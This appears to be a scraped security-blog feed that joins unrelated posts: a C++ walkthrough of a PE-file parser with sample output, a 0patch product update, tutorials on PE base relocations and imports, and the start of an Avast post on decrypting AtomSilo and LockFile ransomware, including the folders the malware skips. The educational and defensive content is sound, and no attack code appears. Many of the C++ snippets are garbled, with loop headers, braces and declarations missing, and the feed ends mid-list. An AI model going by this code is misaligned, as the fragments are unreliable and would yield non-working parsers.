Parsing NT Headers


Similar to the DOS Header, all we need to do is to read from e_lfanew an amount of bytes equal to the size of IMAGE_NT_HEADERS.

After that we can parse out the contents of the File Header and the Optional Header.

The Optional Header contains an array of IMAGE_DATA_DIRECTORY structures which we care about.
To parse out this information, we can use the IMAGE_DIRECTORY_[...] constants defined in winnt.h as array indexes to access the corresponding IMAGE_DATA_DIRECTORY structure of each Data Directory.

void PE64FILE::ParseNTHeaders() {
	fseek(Ppefile, PEFILE_DOS_HEADER.e_lfanew, SEEK_SET);
	fread(&PEFILE_NT_HEADERS, sizeof(PEFILE_NT_HEADERS), 1, Ppefile);







This function prints the data obtained from the File Header and the Optional Header, and for each Data Directory it prints its RVA and size.

void PE64FILE::PrintNTHeadersInfo() {
	printf(" NT HEADERS:\n");
	printf(" -----------\n\n");

	printf(" PE Signature: 0x%X\n", PEFILE_NT_HEADERS_SIGNATURE);

	printf("\n File Header:\n\n");
	printf("   Machine: 0x%X\n", PEFILE_NT_HEADERS_FILE_HEADER_MACHINE);
	printf("   Number of sections: 0x%X\n", PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS);
	printf("   Size of optional header: 0x%X\n", PEFILE_NT_HEADERS_FILE_HEADER_SIZEOF_OPTIONAL_HEADER);

	printf("\n Optional Header:\n\n");
	printf("   Size of code section: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_CODE);
	printf("   Size of initialized data: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_INITIALIZED_DATA);
	printf("   Size of uninitialized data: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_UNINITIALIZED_DATA);
	printf("   Address of entry point: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_ADDRESSOF_ENTRYPOINT);
	printf("   RVA of start of code section: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_BASEOF_CODE);
	printf("   Desired image base: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_IMAGEBASE);
	printf("   Size of image: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_IMAGE);
	printf("   Size of headers: 0x%X\n", PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_HEADERS);

	printf("\n Data Directories:\n");
	printf("\n   * Export Directory:\n");
	printf("       RVA: 0x%X\n", PEFILE_EXPORT_DIRECTORY.VirtualAddress);
	printf("       Size: 0x%X\n", PEFILE_EXPORT_DIRECTORY.Size);
	printf("\n   * COM Runtime Descriptor:\n");
	printf("       RVA: 0x%X\n", PEFILE_COM_DESCRIPTOR_DIRECTORY.VirtualAddress);
	printf("       Size: 0x%X\n", PEFILE_COM_DESCRIPTOR_DIRECTORY.Size);


Parsing Section Headers


This function starts by assigning the PEFILE_SECTION_HEADERS class member to a pointer to an IMAGE_SECTION_HEADER array of the count of PEFILE_NT_HEADERS_FILE_HEADER_NUMBEROF_SECTIONS.

Then it goes into a loop of PEFILE_NT_HEADERS_FILE_HEADER_NUMBEROF_SECTIONS iterations where in each iteration it changes the file offset to (e_lfanew + size of NT Headers + loop counter multiplied by the size of a section header) to reach the beginning of the next Section Header, then it reads the new Section Header and assigns it to the next element of PEFILE_SECTION_HEADERS.

void PE64FILE::ParseSectionHeaders() {
		int offset = (PEFILE_DOS_HEADER.e_lfanew + sizeof(PEFILE_NT_HEADERS)) + (i * ___IMAGE_SIZEOF_SECTION_HEADER);
		fseek(Ppefile, offset, SEEK_SET);



This function loops over the Section Headers array (filled by ParseSectionHeaders()), and it prints information about each section.

void PE64FILE::PrintSectionHeadersInfo() {
	printf(" SECTION HEADERS:\n");
	printf(" ----------------\n\n");

		printf("   * %.8s:\n", PEFILE_SECTION_HEADERS[i].Name);
		printf("        VirtualAddress: 0x%X\n", PEFILE_SECTION_HEADERS[i].VirtualAddress);
		printf("        VirtualSize: 0x%X\n", PEFILE_SECTION_HEADERS[i].Misc.VirtualSize);
		printf("        PointerToRawData: 0x%X\n", PEFILE_SECTION_HEADERS[i].PointerToRawData);
		printf("        SizeOfRawData: 0x%X\n", PEFILE_SECTION_HEADERS[i].SizeOfRawData);
		printf("        Characteristics: 0x%X\n\n", PEFILE_SECTION_HEADERS[i].Characteristics);


Parsing Imports


To parse out the Import Directory Table we need to determine the count of IMAGE_IMPORT_DESCRIPTORs first.

This function starts by resolving the file offset of the Import Directory, then it goes into a loop where in each loop it keeps reading the next import descriptor.
In each iteration it checks if the descriptor has zeroed out values, if that is the case then we’ve reached the end of the Import Directory, so it breaks.
Otherwise it increments _import_directory_count and the loop continues.

After finding the size of the Import Directory, the function assigns the PEFILE_IMPORT_TABLE class member to a pointer to an IMAGE_IMPORT_DESCRIPTOR array of the count of _import_directory_count then goes into another loop similar to the one we’ve seen in ParseSectionHeaders() to parse out the import descriptors.

void PE64FILE::ParseImportDirectory() {
	DWORD _import_directory_address = resolve(PEFILE_IMPORT_DIRECTORY.VirtualAddress, locate(PEFILE_IMPORT_DIRECTORY.VirtualAddress));
	_import_directory_count = 0;

	while (true) {
		int offset = (_import_directory_count * sizeof(___IMAGE_IMPORT_DESCRIPTOR)) + _import_directory_address;
		fseek(Ppefile, offset, SEEK_SET);
		fread(&tmp, sizeof(___IMAGE_IMPORT_DESCRIPTOR), 1, Ppefile);

		if (tmp.Name == 0x00000000 && tmp.FirstThunk == 0x00000000) {
			_import_directory_count -= 1;
			_import_directory_size = _import_directory_count * sizeof(___IMAGE_IMPORT_DESCRIPTOR);


	PEFILE_IMPORT_TABLE = new ___IMAGE_IMPORT_DESCRIPTOR[_import_directory_count];

	for (int i = 0; i < _import_directory_count; i++) {
		int offset = (i * sizeof(___IMAGE_IMPORT_DESCRIPTOR)) + _import_directory_address;
		fseek(Ppefile, offset, SEEK_SET);
		fread(&PEFILE_IMPORT_TABLE[i], sizeof(___IMAGE_IMPORT_DESCRIPTOR), 1, Ppefile);



After obtaining the import descriptors, further parsing is needed to retrieve information about the imported functions.
This is done by the PrintImportTableInfo() function.

This function iterates over the import descriptors, and for each descriptor it resolves the file offset of the DLL name, retrieves the DLL name then prints it, it also prints the ILT RVA, the IAT RVA and whether the import is bound or not.

After that it resolves the file offset of the ILT then it parses out each ILT entry.
If the Ordinal/Name flag is set it prints the function ordinal, otherwise it prints the function name, the hint RVA and the hint.

If the ILT entry is zeroed out, the loop breaks and the next import descriptor parsing iteration starts.

We’ve discussed the details about this in the PE imports post.

void PE64FILE::PrintImportTableInfo() {
	printf(" IMPORT TABLE:\n");
	printf(" ----------------\n\n");

	for (int i = 0; i < _import_directory_count; i++) {
		DWORD NameAddr = resolve(PEFILE_IMPORT_TABLE[i].Name, locate(PEFILE_IMPORT_TABLE[i].Name));
		int NameSize = 0;

		while (true) {
			char tmp;
			fseek(Ppefile, (NameAddr + NameSize), SEEK_SET);
			fread(&tmp, sizeof(char), 1, Ppefile);

			if (tmp == 0x00) {


		char* Name = new char[NameSize + 2];
		fseek(Ppefile, NameAddr, SEEK_SET);
		fread(Name, (NameSize * sizeof(char)) + 1, 1, Ppefile);
		printf("   * %s:\n", Name);
		delete[] Name;

		printf("       ILT RVA: 0x%X\n", PEFILE_IMPORT_TABLE[i].DUMMYUNIONNAME.OriginalFirstThunk);
		printf("       IAT RVA: 0x%X\n", PEFILE_IMPORT_TABLE[i].FirstThunk);

		if (PEFILE_IMPORT_TABLE[i].TimeDateStamp == 0) {
			printf("       Bound: FALSE\n");
		else if (PEFILE_IMPORT_TABLE[i].TimeDateStamp == -1) {
			printf("       Bound: TRUE\n");


		int entrycounter = 0;

		while (true) {

			ILT_ENTRY_64 entry;

			fseek(Ppefile, (ILTAddr + (entrycounter * sizeof(QWORD))), SEEK_SET);
			fread(&entry, sizeof(ILT_ENTRY_64), 1, Ppefile);

			BYTE flag = entry.ORDINAL_NAME_FLAG;
			DWORD HintRVA = 0x0;
			WORD ordinal = 0x0;

			if (flag == 0x0) {
				HintRVA = entry.FIELD_2.HINT_NAME_TABE;
			else if (flag == 0x01) {
				ordinal = entry.FIELD_2.ORDINAL;

			if (flag == 0x0 && HintRVA == 0x0 && ordinal == 0x0) {

			printf("\n       Entry:\n");

			if (flag == 0x0) {

				DWORD HintAddr = resolve(HintRVA, locate(HintRVA));
				fseek(Ppefile, HintAddr, SEEK_SET);
				fread(&hint, sizeof(___IMAGE_IMPORT_BY_NAME), 1, Ppefile);
				printf("         Name: %s\n", hint.Name);
				printf("         Hint RVA: 0x%X\n", HintRVA);
				printf("         Hint: 0x%X\n", hint.Hint);
			else if (flag == 1) {
				printf("         Ordinal: 0x%X\n", ordinal);


		printf("\n   ----------------------\n\n");



Parsing Base Relocations


This function follows the same process we’ve seen in ParseImportDirectory().
It resolves the file offset of the Base Relocation Directory, then it loops over each relocation block until it reaches a zeroed out block. Then it parses out these blocks and saves each IMAGE_BASE_RELOCATION structure in PEFILE_BASERELOC_TABLE.
One thing to note here that is different from what we’ve seen in ParseImportDirectory() is that in addition to keeping a block counter we also keep a size counter that’s incremented by adding the value of SizeOfBlock of each block in each iteration.
We do this because relocation blocks don’t have a fixed size, and in order to correctly calculate the offset of the next relocation block we need the total size of the previous blocks.

void PE64FILE::ParseBaseReloc() {
	DWORD _basereloc_directory_address = resolve(PEFILE_BASERELOC_DIRECTORY.VirtualAddress, locate(PEFILE_BASERELOC_DIRECTORY.VirtualAddress));
	_basreloc_directory_count = 0;
	int _basereloc_size_counter = 0;

	while (true) {

		int offset = (_basereloc_size_counter + _basereloc_directory_address);

		fseek(Ppefile, offset, SEEK_SET);
		fread(&tmp, sizeof(___IMAGE_BASE_RELOCATION), 1, Ppefile);

		if (tmp.VirtualAddress == 0x00000000 &&
			tmp.SizeOfBlock == 0x00000000) {

		_basereloc_size_counter += tmp.SizeOfBlock;

	PEFILE_BASERELOC_TABLE = new ___IMAGE_BASE_RELOCATION[_basreloc_directory_count];

	_basereloc_size_counter = 0;

	for (int i = 0; i < _basreloc_directory_count; i++) {
		int offset = _basereloc_directory_address + _basereloc_size_counter;
		fseek(Ppefile, offset, SEEK_SET);
		fread(&PEFILE_BASERELOC_TABLE[i], sizeof(___IMAGE_BASE_RELOCATION), 1, Ppefile);
		_basereloc_size_counter += PEFILE_BASERELOC_TABLE[i].SizeOfBlock;



This function iterates over the base relocation blocks, and for each block it resolves the file offset of the block, then it prints the block RVA, size and number of entries (calculated by subtracting the size of IMAGE_BASE_RELOCATION from the block size then dividing that by the size of a WORD).
After that it iterates over the relocation entries and prints the relocation value, and from that value it separates the type and the offset and prints each one of them.

We’ve discussed the details about this in the PE base relocations post.

void PE64FILE::PrintBaseRelocationsInfo() {
	printf(" -----------------------\n");

	int szCounter = sizeof(___IMAGE_BASE_RELOCATION);

	for (int i = 0; i < _basreloc_directory_count; i++) {

		int ENTRIES;


		printf("\n   Block 0x%X: \n", i);
		printf("     Page RVA: 0x%X\n", PAGERVA);
		printf("     Block size: 0x%X\n", BLOCKSIZE);
		printf("     Number of entries: 0x%X\n", ENTRIES);
		printf("\n     Entries:\n");

		for (int i = 0; i < ENTRIES; i++) {


			int offset = (BASE_RELOC_ADDR + szCounter + (i * sizeof(WORD)));

			fseek(Ppefile, offset, SEEK_SET);
			fread(&entry, sizeof(WORD), 1, Ppefile);

			printf("\n       * Value: 0x%X\n", entry);
			printf("         Relocation Type: 0x%X\n", entry.TYPE);
			printf("         Offset: 0x%X\n", entry.OFFSET);

		printf("\n   ----------------------\n\n");
		szCounter += BLOCKSIZE;



Here’s the full output after running the parser on a file:

Desktop>.\PE-Parser.exe .\SimpleApp64.exe

 FILE: .\SimpleApp64.exe
 TYPE: 0x20B (PE32+)



 Magic: 0x5A4D
 File address of new exe header: 0x100



 0x7809 0x93 0xA: 30729.147.10
 0x6FCB 0x101 0x2: 28619.257.2
 0x6FCB 0x105 0x11: 28619.261.17
 0x6FCB 0x104 0xA: 28619.260.10
 0x6FCB 0x103 0x3: 28619.259.3
 0x685B 0x101 0x5: 26715.257.5
 0x0 0x1 0x30: 0.1.48
 0x7086 0x109 0x1: 28806.265.1
 0x7086 0xFF 0x1: 28806.255.1
 0x7086 0x102 0x1: 28806.258.1



 PE Signature: 0x4550

 File Header:

   Machine: 0x8664
   Number of sections: 0x6
   Size of optional header: 0xF0

 Optional Header:

   Magic: 0x20B
   Size of code section: 0xE00
   Size of initialized data: 0x1E00
   Size of uninitialized data: 0x0
   Address of entry point: 0x12C4
   RVA of start of code section: 0x1000
   Desired image base: 0x40000000
   Section alignment: 0x1000
   File alignment: 0x200
   Size of image: 0x7000
   Size of headers: 0x400

 Data Directories:

   * Export Directory:
       RVA: 0x0
       Size: 0x0

   * Import Directory:
       RVA: 0x27AC
       Size: 0xB4

   * Resource Directory:
       RVA: 0x5000
       Size: 0x1E0

   * Exception Directory:
       RVA: 0x4000
       Size: 0x168

   * Security Directory:
       RVA: 0x0
       Size: 0x0

   * Base Relocation Table:
       RVA: 0x6000
       Size: 0x28

   * Debug Directory:
       RVA: 0x2248
       Size: 0x70

   * Architecture Specific Data:
       RVA: 0x0
       Size: 0x0

   * RVA of GlobalPtr:
       RVA: 0x0
       Size: 0x0

   * TLS Directory:
       RVA: 0x0
       Size: 0x0

   * Load Configuration Directory:
       RVA: 0x22C0
       Size: 0x130

   * Bound Import Directory:
       RVA: 0x0
       Size: 0x0

   * Import Address Table:
       RVA: 0x2000
       Size: 0x198

   * Delay Load Import Descriptors:
       RVA: 0x0
       Size: 0x0

   * COM Runtime Descriptor:
       RVA: 0x0
       Size: 0x0



   * .text:
        VirtualAddress: 0x1000
        VirtualSize: 0xD2C
        PointerToRawData: 0x400
        SizeOfRawData: 0xE00
        Characteristics: 0x60000020

   * .rdata:
        VirtualAddress: 0x2000
        VirtualSize: 0xE3C
        PointerToRawData: 0x1200
        SizeOfRawData: 0x1000
        Characteristics: 0x40000040

   * .data:
        VirtualAddress: 0x3000
        VirtualSize: 0x638
        PointerToRawData: 0x2200
        SizeOfRawData: 0x200
        Characteristics: 0xC0000040

   * .pdata:
        VirtualAddress: 0x4000
        VirtualSize: 0x168
        PointerToRawData: 0x2400
        SizeOfRawData: 0x200
        Characteristics: 0x40000040

   * .rsrc:
        VirtualAddress: 0x5000
        VirtualSize: 0x1E0
        PointerToRawData: 0x2600
        SizeOfRawData: 0x200
        Characteristics: 0x40000040

   * .reloc:
        VirtualAddress: 0x6000
        VirtualSize: 0x28
        PointerToRawData: 0x2800
        SizeOfRawData: 0x200
        Characteristics: 0x42000040



   * USER32.dll:
       ILT RVA: 0x28E0
       IAT RVA: 0x2080
       Bound: FALSE

         Name: MessageBoxA
         Hint RVA: 0x29F8
         Hint: 0x283


   * VCRUNTIME140.dll:
       ILT RVA: 0x28F0
       IAT RVA: 0x2090
       Bound: FALSE

         Name: memset
         Hint RVA: 0x2A5E
         Hint: 0x3E

         Name: __current_exception_context
         Hint RVA: 0x2A40
         Hint: 0x1C

         Name: __current_exception
         Hint RVA: 0x2A2A
         Hint: 0x1B

         Name: __C_specific_handler
         Hint RVA: 0x2A12
         Hint: 0x8


   * api-ms-win-crt-runtime-l1-1-0.dll:
       ILT RVA: 0x2948
       IAT RVA: 0x20E8
       Bound: FALSE

         Name: _crt_atexit
         Hint RVA: 0x2C12
         Hint: 0x1E

         Name: terminate
         Hint RVA: 0x2C20
         Hint: 0x67

         Name: _exit
         Hint RVA: 0x2B30
         Hint: 0x23

         Name: _register_thread_local_exe_atexit_callback
         Hint RVA: 0x2B76
         Hint: 0x3D

         Name: _c_exit
         Hint RVA: 0x2B6C
         Hint: 0x15

         Name: exit
         Hint RVA: 0x2B28
         Hint: 0x55

         Name: _initterm_e
         Hint RVA: 0x2B1A
         Hint: 0x37

         Name: _initterm
         Hint RVA: 0x2B0E
         Hint: 0x36

         Name: _get_initial_narrow_environment
         Hint RVA: 0x2AEC
         Hint: 0x28

         Name: _initialize_narrow_environment
         Hint RVA: 0x2ACA
         Hint: 0x33

         Name: _configure_narrow_argv
         Hint RVA: 0x2AB0
         Hint: 0x18

         Name: _initialize_onexit_table
         Hint RVA: 0x2BDA
         Hint: 0x34

         Name: _set_app_type
         Hint RVA: 0x2A8C
         Hint: 0x42

         Name: _seh_filter_exe
         Hint RVA: 0x2A7A
         Hint: 0x40

         Name: _cexit
         Hint RVA: 0x2B62
         Hint: 0x16

         Name: __p___argv
         Hint RVA: 0x2B54
         Hint: 0x5

         Name: __p___argc
         Hint RVA: 0x2B46
         Hint: 0x4

         Name: _register_onexit_function
         Hint RVA: 0x2BF6
         Hint: 0x3C


   * api-ms-win-crt-math-l1-1-0.dll:
       ILT RVA: 0x2938
       IAT RVA: 0x20D8
       Bound: FALSE

         Name: __setusermatherr
         Hint RVA: 0x2A9C
         Hint: 0x9


   * api-ms-win-crt-stdio-l1-1-0.dll:
       ILT RVA: 0x29E0
       IAT RVA: 0x2180
       Bound: FALSE

         Name: __p__commode
         Hint RVA: 0x2BCA
         Hint: 0x1

         Name: _set_fmode
         Hint RVA: 0x2B38
         Hint: 0x54


   * api-ms-win-crt-locale-l1-1-0.dll:
       ILT RVA: 0x2928
       IAT RVA: 0x20C8
       Bound: FALSE

         Name: _configthreadlocale
         Hint RVA: 0x2BA4
         Hint: 0x8


   * api-ms-win-crt-heap-l1-1-0.dll:
       ILT RVA: 0x2918
       IAT RVA: 0x20B8
       Bound: FALSE

         Name: _set_new_mode
         Hint RVA: 0x2BBA
         Hint: 0x16




   Block 0x0:
     Page RVA: 0x2000
     Block size: 0x28
     Number of entries: 0x10


       * Value: 0xA198
         Relocation Type: 0xA
         Offset: 0x198

       * Value: 0xA1A0
         Relocation Type: 0xA
         Offset: 0x1A0

       * Value: 0xA1A8
         Relocation Type: 0xA
         Offset: 0x1A8

       * Value: 0xA1B0
         Relocation Type: 0xA
         Offset: 0x1B0

       * Value: 0xA1B8
         Relocation Type: 0xA
         Offset: 0x1B8

       * Value: 0xA1C8
         Relocation Type: 0xA
         Offset: 0x1C8

       * Value: 0xA1E0
         Relocation Type: 0xA
         Offset: 0x1E0

       * Value: 0xA1E8
         Relocation Type: 0xA
         Offset: 0x1E8

       * Value: 0xA220
         Relocation Type: 0xA
         Offset: 0x220

       * Value: 0xA228
         Relocation Type: 0xA
         Offset: 0x228

       * Value: 0xA318
         Relocation Type: 0xA
         Offset: 0x318

       * Value: 0xA330
         Relocation Type: 0xA
         Offset: 0x330

       * Value: 0xA338
         Relocation Type: 0xA
         Offset: 0x338

       * Value: 0xA3D8
         Relocation Type: 0xA
         Offset: 0x3D8

       * Value: 0xA3E0
         Relocation Type: 0xA
         Offset: 0x3E0

       * Value: 0xA3E8
         Relocation Type: 0xA
         Offset: 0x3E8



I hope that seeing actual code has given you a better understanding of what we’ve discussed throughout the previous posts.
I believe that there are better ways for implementation than the ones I have presented, I’m in no way a c++ programmer and I know that there’s always room for improvement, so feel free to reach out to me, any feedback would be much appreciated.

Thanks for reading.

A New 0patch Experience

29 October 2021 at 11:14

Last week we updated 0patch Server and 0patch Central, which brought several new features and capabilities. Let's take a quick look at them:

  • Subscription management: Users can now manage their subscriptions in 0patch Central, including turning auto-renewal on or off, changing the number of licenses in a subscription, switching between annual and monthly payments, and canceling a subscription. Managed service providers can use the "Renew of one term" feature for renewing a license once their customer has committed to another term.

  • Monthly licenses: Before, 0patch was only available as an annual subscription service. From now on, we also support monthly subscriptions, allowing customers to up-scale and down-scale their license count on a monthly basis according to their needs. (A minimum of 20 licenses is required for a monthly subscription.)

  • Changing billing and payment information: Users can change their billing and payment information in 0patch Central now.

  • Registering agents directly to a group: Enterprise users will like this one; before, all deployed agents appeared in the root All Computers group and had to be manually moved to appropriate groups. Now, each group has its own key which can be used for auto-registration via MSI command-line arguments, allowing admins to bulk-deploy 0patch agent to all computers in some existing group in their central management system, and registered these agents directly to an appropriate group in 0patch Central.

  • Computer comments: Each computer now has a comment field that can be used to provide additional details.

  • License comments: Each license now has a comment field that can be used to provide additional details, a feature most requested from managed service providers and resellers.

  • No more duplicate agents: Before, a re-registration of 0patch Agent on the same computer resulted in a duplicate computer in the Computers list. This is now resolved.


We hope you'll like the new 0patch Central and 0patch user experience. If you run into any issues, please report them to [email protected].

Your 0patch Team



A dive into the PE file format - PE file structure - Part 6: PE Base Relocations

28 October 2021 at 15:00
By: 0xRick

A dive into the PE file format - PE file structure - Part 6: PE Base Relocations


In this post we’re going to talk about PE base relocations. We’re going to discuss what relocations are, then we’ll take a look at the relocation table.


When a program is compiled, the compiler assumes that the executable is going to be loaded at a certain base address, that address is saved in IMAGE_OPTIONAL_HEADER.ImageBase, some addresses get calculated then hardcoded within the executable based on the base address.
However for a variety of reasons, it’s not very likely that the executable is going to get its desired base address, it will get loaded in another base address and that will make all of the hardcoded addresses invalid.
A list of all hardcoded values that will need fixing if the image is loaded at a different base address is saved in a special table called the Relocation Table (a Data Directory within the .reloc section). The process of relocating (done by the loader) is what fixes these values.

Let’s take an example, the following code defines an int variable and a pointer to that variable:

int test = 2;
int* testPtr = &test;

During compile-time, the compiler will assume a base address, let’s say it assumes a base address of 0x1000, it decides that test will be located at an offset of 0x100 and based on that it gives testPtr a value of 0x1100.
Later on, a user runs the program and the image gets loaded into memory.
It gets a base address of 0x2000, this means that the hardcoded value of testPtr will be invalid, the loader fixes that value by adding the difference between the assumed base address and the actual base address, in this case it’s a difference of 0x1000 (0x2000 - 0x1000), so the new value of testPtr will be 0x2100 (0x1100 + 0x1000) which is the correct new address of test.

Relocation Table

As described by Microsoft documentation, the base relocation table contains entries for all base relocations in the image.

It’s a Data Directory located within the .reloc section, it’s divided into blocks, each block represents the base relocations for a 4K page and each block must start on a 32-bit boundary.

Each block starts with an IMAGE_BASE_RELOCATION structure followed by any number of offset field entries.

The IMAGE_BASE_RELOCATION structure specifies the page RVA, and the size of the relocation block.

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;

Each offset field entry is a WORD, first 4 bits of it define the relocation type (check Microsoft documentation for a list of relocation types), the last 12 bits store an offset from the RVA specified in the IMAGE_BASE_RELOCATION structure at the start of the relocation block.

Each relocation entry gets processed by adding the RVA of the page to the image base address, then by adding the offset specified in the relocation entry, an absolute address of the location that needs fixing can be obtained.

The PE file I’m looking at contains only one relocation block, its size is 0x28 bytes:

We know that each block starts with an 8-byte-long structure, meaning that the size of the entries is 0x20 bytes (32 bytes), each entry’s size is 2 bytes so the total number of entries should be 16.


That’s all.
Thanks for reading.

A dive into the PE file format - PE file structure - Part 5: PE Imports (Import Directory Table, ILT, IAT)

28 October 2021 at 01:00
By: 0xRick

A dive into the PE file format - PE file structure - Part 5: PE Imports (Import Directory Table, ILT, IAT)


In this post we’re going to talk about a very important aspect of PE files, the PE imports. To understand how PE files handle their imports, we’ll go over some of the Data Directories present in the Import Data section (.idata), the Import Directory Table, the Import Lookup Table (ILT) or also referred to as the Import Name Table (INT) and the Import Address Table (IAT).

Import Directory Table

The Import Directory Table is a Data Directory located at the beginning of the .idata section.

It consists of an array of IMAGE_IMPORT_DESCRIPTOR structures, each one of them is for a DLL.
It doesn’t have a fixed size, so the last IMAGE_IMPORT_DESCRIPTOR of the array is zeroed-out (NULL-Padded) to indicate the end of the Import Directory Table.

IMAGE_IMPORT_DESCRIPTOR is defined as follows:

    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;
  • OriginalFirstThunk: RVA of the ILT.
  • TimeDateStamp: A time date stamp, that’s initially set to 0 if not bound and set to -1 if bound.
    In case of an unbound import the time date stamp gets updated to the time date stamp of the DLL after the image is bound.
    In case of a bound import it stays set to -1 and the real time date stamp of the DLL can be found in the Bound Import Directory Table in the corresponding IMAGE_BOUND_IMPORT_DESCRIPTOR .
    We’ll discuss bound imports in the next section.
  • ForwarderChain: The index of the first forwarder chain reference.
    This is something responsible for DLL forwarding. (DLL forwarding is when a DLL forwards some of its exported functions to another DLL.)
  • Name: An RVA of an ASCII string that contains the name of the imported DLL.
  • FirstThunk: RVA of the IAT.

Bound Imports

A bound import essentially means that the import table contains fixed addresses for the imported functions.
These addresses are calculated and written during compile time by the linker.

Using bound imports is a speed optimization, it reduces the time needed by the loader to resolve function addresses and fill the IAT, however if at run-time the bound addresses do not match the real ones then the loader will have to resolve these addresses again and fix the IAT.

When discussing IMAGE_IMPORT_DESCRIPTOR.TimeDateStamp, I mentioned that in case of a bound import, the time date stamp is set to -1 and the real time date stamp of the DLL can be found in the corresponding IMAGE_BOUND_IMPORT_DESCRIPTOR in the Bound Import Data Directory.

Bound Import Data Directory

The Bound Import Data Directory is similar to the Import Directory Table, however as the name suggests, it holds information about the bound imports.

It consists of an array of IMAGE_BOUND_IMPORT_DESCRIPTOR structures, and ends with a zeroed-out IMAGE_BOUND_IMPORT_DESCRIPTOR.

IMAGE_BOUND_IMPORT_DESCRIPTOR is defined as follows:

    DWORD   TimeDateStamp;
    WORD    OffsetModuleName;
    WORD    NumberOfModuleForwarderRefs;
// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows
  • TimeDateStamp: The time date stamp of the imported DLL.
  • OffsetModuleName: An offset to a string with the name of the imported DLL.
    It’s an offset from the first IMAGE_BOUND_IMPORT_DESCRIPTOR
  • NumberOfModuleForwarderRefs: The number of the IMAGE_BOUND_FORWARDER_REF structures that immediately follow this structure.
    IMAGE_BOUND_FORWARDER_REF is a structure that’s identical to IMAGE_BOUND_IMPORT_DESCRIPTOR, the only difference is that the last member is reserved.

That’s all we need to know about bound imports.

Import Lookup Table (ILT)

Sometimes people refer to it as the Import Name Table (INT).

Every imported DLL has an Import Lookup Table.
IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk holds the RVA of the ILT of the corresponding DLL.

The ILT is essentially a table of names or references, it tells the loader which functions are needed from the imported DLL.

The ILT consists of an array of 32-bit numbers (for PE32) or 64-bit numbers for (PE32+), the last one is zeroed-out to indicate the end of the ILT.

Each entry of these entries encodes information as follows:

  • Bit 31/63 (most significant bit): This is called the Ordinal/Name flag, it specifies whether to import the function by name or by ordinal.
  • Bits 15-0: If the Ordinal/Name flag is set to 1 these bits are used to hold the 16-bit ordinal number that will be used to import the function, bits 30-15/62-15 for PE32/PE32+ must be set to 0.
  • Bits 30-0: If the Ordinal/Name flag is set to 0 these bits are used to hold an RVA of a Hint/Name table.

Hint/Name Table

A Hint/Name table is a structure defined in winnt.h as IMAGE_IMPORT_BY_NAME:

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    CHAR   Name[1];
  • Hint: A word that contains a number, this number is used to look-up the function, that number is first used as an index into the export name pointer table, if that initial check fails a binary search is performed on the DLL’s export name pointer table.
  • Name: A null-terminated string that contains the name of the function to import.

Import Address Table (IAT)

On disk, the IAT is identical to the ILT, however during bounding when the binary is being loaded into memory, the entries of the IAT get overwritten with the addresses of the functions that are being imported.


So to summarize what we discussed in this post, for every DLL the executable is loading functions from, there will be an IMAGE_IMPORT_DESCRIPTOR within the Image Directory Table.
The IMAGE_IMPORT_DESCRIPTOR will contain the name of the DLL, and two fields holding RVAs of the ILT and the IAT.
The ILT will contain references for all the functions that are being imported from the DLL.
The IAT will be identical to the ILT until the executable is loaded in memory, then the loader will fill the IAT with the actual addresses of the imported functions.
If the DLL import is a bound import, then the import information will be contained in IMAGE_BOUND_IMPORT_DESCRIPTOR structures in a separate Data Directory called the Bound Import Data Directory.

Let’s take a quick look at the import information inside of an actual PE file.

Here’s the Import Directory Table of the executable:

All of these entries are IMAGE_IMPORT_DESCRIPTORs.

As you can see, the TimeDateStamp of all the imports is set to 0, meaning that none of these imports are bound, this is also confirmed in the Bound? column added by PE-bear.

For example, if we take USER32.dll and follow the RVA of its ILT (referenced by OriginalFirstThunk), we’ll find only 1 entry (because only one function is imported), and that entry looks like this:

This is a 64-bit executable, so the entry is 64 bits long.
As you can see, the last byte is set to 0, indicating that a Hint/Table name should be used to look-up the function.
We know that the RVA of this Hint/Table name should be referenced by the first 2 bytes, so we should follow RVA 0x29F8:

Now we’re looking at an IMAGE_IMPORT_BY_NAME structure, first two bytes hold the hint, which in this case is 0x283, the rest of the structure holds the full name of the function which is MessageBoxA.
We can verify that our interpretation of the data is correct by looking at how PE-bear parsed it, and we’ll see the same results:


That’s all I have to say about PE imports, in the next post I’ll discuss PE base relocations.
Thanks for reading.

Avast releases decryptor for AtomSilo and LockFile ransomware

27 October 2021 at 15:59

On Oct 17, 2021, Jiří Vinopal published information about a weakness in the AtomSilo ransomware and that it is possible to decrypt files without paying the ransom. Slightly later, he also analyzed another ransomware strain, LockFile. We prepared our very own free Avast decryptor for both the AtomSilo and LockFile strains.

Limitation of the decryptor

During the decryption process, the Avast AtomSilo decryptor relies on a known file format in order to verify that the file was successfully decrypted. For that reason, some files may not be decrypted. This can  include files with proprietary or unknown format, or with no format at all, such as text files.

How AtomSilo and LockFile Work

Both the AtomSilo and LockFile ransomware strains are very similar to each other and except for minor differences, this description covers both of them. 

AtomSilo ransomware searches local drives using a fixed drive list, whilst LockFile calls GetLogicalDriveStringsA() and processes all drives that are fixed drives.

A separate thread is created for each drive in the list. This thread recursively searches the given logical drive and encrypts files found on it. To prevent paralyzing the compromised PC entirely, AtomSilo has a list of folders, file names and file types that are left unencrypted which are listed here:

Excluded folders
Boot Windows Windows.old Tor Browser
Internet Explorer Google Opera Opera Software
Mozilla Mozilla Firefox $Recycle.Bin ProgramData
All Users
Excluded files
autorun.inf index.html  boot.ini bootfont.bin
bootsect.bak bootmgr bootmgr.efi bootmgfw.efi
desktop.ini iconcache.db ntldr ntuser.dat
ntuser.dat.log ntuser.ini thumbs.db #recycle
Excluded extensions
